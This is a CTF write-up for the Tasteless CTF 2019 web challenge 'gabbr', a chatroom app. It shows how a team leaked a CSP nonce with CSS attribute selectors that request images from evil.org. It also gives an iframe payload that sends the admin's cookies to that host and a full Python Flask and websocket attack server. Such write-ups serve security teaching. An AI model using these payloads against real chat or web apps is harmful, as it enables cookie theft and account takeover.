1 # Tasteless CTF 2019 — gabbr (web)
3 This CTF felt very unusual for me because the challenges weren't released all at once, but rather over time. While briefly trying out the crypto-babypad, it got solved by another teammate so I started looking at the web-gabbr challenge together with @chgue, @stiefel40k and @pH. After about 6 hours of tirelessly trying out different ways, solutions and workarounds, we were awarded with the satisfying feeling of receiving the flag as the second of 6 teams who solved the challenge. I spent more time on this challenge than I had "reserved" for participating at this CTF, but it was definitely worth it.
5 **Time spent**: ~6 hours
7 The exploitation part of this writeup was composed together with @chgue, so all that follows will be identical with his writeup.
10 gabbr is an online chatroom service. Upon loading the page, one joins a chatroom specified in the anchor part of the URL e.g. `https://gabbr.hitme.tasteless.eu/#8f332afe-8f1d-411f-80f3-44bb2302405d`. If no name is specified, a random UUID is generated upon join. The main functionality is to send messages in the chatroom. Furthermore, one can change the username to another randomly generated one, join a new random chatroom and report the chatroom to an admin. Upon reporting an admin joins the chat and stays in the room for 15s. Additionally, the chatroom is based on websockets.
13 ### Gathering intelligence (like the NSA 😎)
14 Messages are not sanitized, i.e. arbitrary HTML can be injected.
15 However, the CSP policy is rather restrictive:
18 default-src 'self'; script-src 'nonce-cff855cb552d6be6be760496'; frame-src https://www.google.com/recaptcha/; connect-src 'self' xsstest.tasteless.eu https://www.google.com/recaptcha/; worker-src https://www.google.com/recaptcha/; style-src 'unsafe-inline' https://www.gstatic.com/recaptcha/; font-src 'self'; img-src *; report-uri https://xsstest.ctf.tasteless.eu/report-violation; object-src 'none'
21 Script tags are only executed if the have the correct `nonce` as an attribute. The nonce is generated server-side on every page load and is specified in the CSP as `script-src 'nonce-cff855cb552d6be6be760496';`. This blocks any other attempts and tricks to execute JavaScript like event handlers. So, to execute JavaScript, one needs to know the 24 characters long `nonce` of the loaded page which we obviously cannot trivially obtain from the admin. What we _can_ do, though, is to load arbitrary CSS and images—`style-src` is set to `unsafe-inline` and `img-src` to `*` which allows for interesting attacks.
24 After searching on the web for ideas we stumbled upon this article from 2016: https://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html
25 The author describes an attack where one can extract the by using CSS:
27 * Firstly, one injects a CSS selector which matches the first character of the nonce.
28 * Upon matching, the CSS selector is set to load a background image from a given URL. Since we know what was matched we can add the matching characters to the request as GET parameters.
29 * By repeating this process for every character, we can reconstruct the whole nonce with 24 messages.
31 This fits perfectly since we can inject arbitrary CSS! Therefore, like proper hackers, we copied his scripts. However, the given selectors did not work. Therefore, we began debugging the selectors on our own. After fruitless attempts trying to match the `script` tag using Chrome we noticed something peculiar: Chrome removes the `nonce` from the `script`-tag after it has been loaded. However, Firefox happily keeps the `nonce` in the DOM. Luckily, the attacker uses Firefox as we found out from the admin's user-agent header.
33 Our first approach was to match the `script` tag directly: `script[nonce^="a"]`. This should match any `script`-tag with a nonce that starts with `a`. However, this didn't work as expected. After lots of trial and error we figured out that you can't directly match a `script`-tag, but you can use it as part of the selector when selecting other elements. Therefore, we decided to use a sibling selector like this: `script[nonce^="%s"] ~ nav`. Since `nav` is a sibling of the `script`-tag this worked perfectly.
35 Using the above method we can send a message like this:
37 script[nonce^="0"] ~ nav {background:url("http://evil.org/?match=0")}
38 script[nonce^="1"] ~ nav {background:url("http://evil.org/?match=1")}
40 script[nonce^="f"] ~ nav {background:url("http://evil.org/?match=f")}
42 which triggers only if at least one element matches the selector (and as such, only the "correct" request is executed). Suppose the first character is `a`, then our next payload is as follows:
44 script[nonce^="a0"] ~ nav {background:url("http://evil.org/?match=a0")}
45 script[nonce^="a1"] ~ nav {background:url("http://evil.org/?match=a1")}
47 script[nonce^="af"] ~ nav {background:url("http://evil.org/?match=af")}
49 We can repeat this procedure 24 times to exfiltrate the whole nonce.
51 We implemented an attack server in python which receives the successful request and sends another message to the chatroom querying the next character as described above. The next payload is sent to the chatroom directly by connecting to the websocket of the chatroom.
53 However, upon trying it out we noticed that only the first request was being sent. This is because subsequent CSS injections have the same specificity as the previous CSS rules, that means that the background fetching isn't executed a second time. We solved this problem by manually curating a set of 24 selectors from least to most important:
56 script[nonce^="%s"] ~ *
57 script[nonce^="%s"] ~ ul
58 script[nonce^="%s"] ~ div
59 script[nonce^="%s"] ~ input
60 script[nonce^="%s"] ~ nav
61 body > script[nonce^="%s"] ~ ul
62 body > script[nonce^="%s"] ~ div
63 body > script[nonce^="%s"] ~ input
64 body > script[nonce^="%s"] ~ nav
65 script[nonce^="%s"] ~ #messages
66 script[nonce^="%s"] ~ #status
67 script[nonce^="%s"] ~ #chatbox
68 script[nonce^="%s"] ~ #recaptcha
69 script[nonce^="%s"] ~ nav > a
70 script[nonce^="%s"] ~ nav > #report-link
71 script[nonce^="%s"] ~ nav > #username
72 body script[nonce^="%s"] ~ #messages
73 body script[nonce^="%s"] ~ #status
74 body script[nonce^="%s"] ~ #chatbox
75 body script[nonce^="%s"] ~ #recaptcha
76 body script[nonce^="%s"] ~ nav > a
77 body script[nonce^="%s"] ~ nav > #report-link
78 body script[nonce^="%s"] ~ nav > #username
79 body script[nonce^="%s"] ~ nav > [href="/"]
80 body script[nonce^="%s"] ~ nav > [href="#"]
83 Putting it all together we managed to get the complete nonce!
85 ### Creating an exploit
86 Now that we have the nonce we can inject `script`-tags which bypass the CSP and will be executed. However, directly Ãnjecting `<script nonce="...">alert(1);</script>` does not have any effect because the script isn't being evaluated after the page has loaded. Therefore, to bypass this restriction we include the script inside an `iframe` by specifying it as the `srcdoc`. Our final exploit looks like this:
89 <iframe srcdoc="<script nonce=...>alert(document.cookie); var x = document.createElement('img'); x.src = 'http://evil.org/res?c=' + document.cookie;</script>"></iframe>
91 Notice that we are trying to load an image rather than sending a request directly because the latter is blocked by the CSP. Luckily, the CSP allows loading images from any origin.
93 ### Putting it all together
94 Our final approach was the following:
96 1. Enter a chatroom using Chrome so that we are unaffected by the exploit
97 2. Start the exploit server pointed at the chatroom
98 3. Report the chatroom and wait for the admin to join
99 4. Send the initial CSS payload manually through the browser.
100 5. Let the server handle the rest
101 1. Wait for an http request from the admin
102 2. Parse the GET parameter
103 3. Send the next CSS payload via websockets to exfiltrate the next 4haracter
104 4. Repeat until we have the whole nonce
105 5. Send the exploit `iframe`
106 6. Listen for the request from the admin containing the cookies containing the flag
110 Below is the final script that ran on the server:
112 from flask import Flask, request
118 app = Flask(__name__)
119 URL = "http://evil.org:5000"
122 'script[nonce^="%s"] ~ *',
123 'script[nonce^="%s"] ~ ul',
124 'script[nonce^="%s"] ~ div',
125 'script[nonce^="%s"] ~ input',
126 'script[nonce^="%s"] ~ nav',
127 'body > script[nonce^="%s"] ~ ul',
128 'body > script[nonce^="%s"] ~ div',
129 'body > script[nonce^="%s"] ~ input',
130 'body > script[nonce^="%s"] ~ nav',
131 'script[nonce^="%s"] ~ #messages',
132 'script[nonce^="%s"] ~ #status',
133 'script[nonce^="%s"] ~ #chatbox',
134 'script[nonce^="%s"] ~ #recaptcha',
135 'script[nonce^="%s"] ~ nav > a',
136 'script[nonce^="%s"] ~ nav > #report-link',
137 'script[nonce^="%s"] ~ nav > #username',
138 'body script[nonce^="%s"] ~ #messages',
139 'body script[nonce^="%s"] ~ #status',
140 'body script[nonce^="%s"] ~ #chatbox',
141 'body script[nonce^="%s"] ~ #recaptcha',
142 'body script[nonce^="%s"] ~ nav > a',
143 'body script[nonce^="%s"] ~ nav > #report-link',
144 'body script[nonce^="%s"] ~ nav > #username',
145 'body script[nonce^="%s"] ~ nav > [href="/"]',
146 'body script[nonce^="%s"] ~ nav > [href="#"]',
149 def exploit(nonce, url):
150 x = """<iframe srcdoc="<script nonce=%s>alert(document.cookie); var x = document.createElement('img'); x.src = '%s/res?c=' + document.cookie;</script>"></iframe>""" % (nonce, url)
151 msg = {"username" : "aaa", "type": "gabbr-message", "content": x}
152 print(json.dumps(msg))
153 socket.send(json.dumps(msg))
155 def generate_style(c, url):
157 for x in "abcdef" + string.digits:
158 style = style + ((payloads[len(c)] + '{ background:url("%s/?match=%s") } ') % (c + x, url, c + x))
159 style = style + "</style>"
164 match = request.args.get('match')
174 match = request.args.get('c')
180 msg = {"username" : "aaa", "type": "gabbr-message", "content": generate_style(match, URL)}
181 socket.send(json.dumps(msg))
183 if __name__ == '__main__':
184 uri = "wss://gabbr.hitme.tasteless.eu/" + sys.argv[1]
185 socket = websocket.WebSocket()
187 print(generate_style("", URL)) # This outputs the initial payload, we did it manually to avoid certain concurrency issues
188 app.run(host="0.0.0.0")